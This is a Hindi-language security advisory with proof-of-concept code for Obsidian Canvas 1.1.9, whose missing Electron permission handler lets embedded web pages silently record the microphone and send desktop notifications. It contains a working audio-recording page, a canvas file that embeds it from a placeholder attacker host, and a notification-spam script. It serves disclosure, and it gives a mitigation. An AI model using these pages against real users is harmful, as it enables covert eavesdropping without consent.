
Obsidian Canvas में एम्बेडेड वेब पेजों के माध्यम से अनधिकृत माइक्रोफोन रिकॉर्डिंग और डेस्कटॉप सूचना दुरुपयोग को प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो इलेक्ट्रॉन अनुमति अनुरोध हैंडलिंग की कमी को उजागर करता है।
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
भेद्यता प्रकार:
गलत पहुँच नियंत्रण
विवरण:
Obsidian Canvas 1.1.9 में पाया गया एक मुद्दा जो दूरस्थ हमलावरों को कैनवास पेज पर एम्बेडेड वेबसाइट के माध्यम से डेस्कटॉप सूचनाएं भेजने, उपयोगकर्ता के ऑडियो को रिकॉर्ड करने और अन्य अनिर्दिष्ट प्रभाव डालने की अनुमति देता है।
प्रभाव:
दुर्भावनापूर्ण एम्बेडेड वेबसाइटें उपयोगकर्ता की अनुमति और जानकारी के बिना Obsidian एप्लिकेशन में संवेदनशील WEB API तक पहुंच सकती हैं। उदाहरण के लिए, वे उपयोगकर्ता की जानकारी या स्पष्ट अनुमति प्रदान किए बिना, चुपचाप उपयोगकर्ता के माइक्रोफ़ोन को रिकॉर्ड कर सकती हैं या Obsidian एप्लिकेशन की ओर से डेस्कटॉप सूचनाएं भेज सकती हैं।
इस समस्या का मूल कारण एप्लिकेशन में सत्र अनुमति अनुरोध हैंडलर की अनुपस्थिति है।
प्रभावित उत्पाद:
प्रभावित संस्करण:
पुनरुत्पादन के चरण:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<h1>Make sure your microphone is unmuted.</h1>
<script>
// navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
// credit to https://github.com/bryanjenningz/record-audio
const recordAudio = () =>
new Promise(async resolve => {
const stream = await navigator.mediaDevices.getUserMedia({
audio: true
});
const mediaRecorder = new MediaRecorder(stream);
const audioChunks = [];
mediaRecorder.addEventListener("dataavailable", event => {
audioChunks.push(event.data);
});
const start = () => mediaRecorder.start();
const stop = () =>
new Promise(resolve => {
mediaRecorder.addEventListener("stop", () => {
const audioBlob = new Blob(audioChunks);
const audioUrl = URL.createObjectURL(audioBlob);
const audio = new Audio(audioUrl);
const play = () => audio.play();
resolve({
audioBlob,
audioUrl,
play
});
});
mediaRecorder.stop();
});
resolve({
start,
stop
});
});
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
(async () => {
const recorder = await recordAudio();
recorder.start();
await sleep(5000);
const audio = await recorder.stop();
audio.play();
})();
</script>
</body>
</html>
{
"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
"edges":[]
}
सूचनाएं PoC:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<script>
let i = 0;
const interval = setInterval(() => {
const n = new Notification(`Obsidian`, {
body: 'Notification example.'
});
if (i === 10) {
clearInterval(interval);
}
i++;
}, 500);
</script>
</body>
</html>
शमन:
एम्बेडेड पृष्ठों से अनुमति अनुरोधों को संभालने के लिए Electron Session Permission Request हैंडलर लागू करें। वेब API तक पहुंच स्पष्ट रूप से उपयोगकर्ता द्वारा दी जानी चाहिए या डिफ़ॉल्ट रूप से अस्वीकार की जानी चाहिए।
संदर्भ: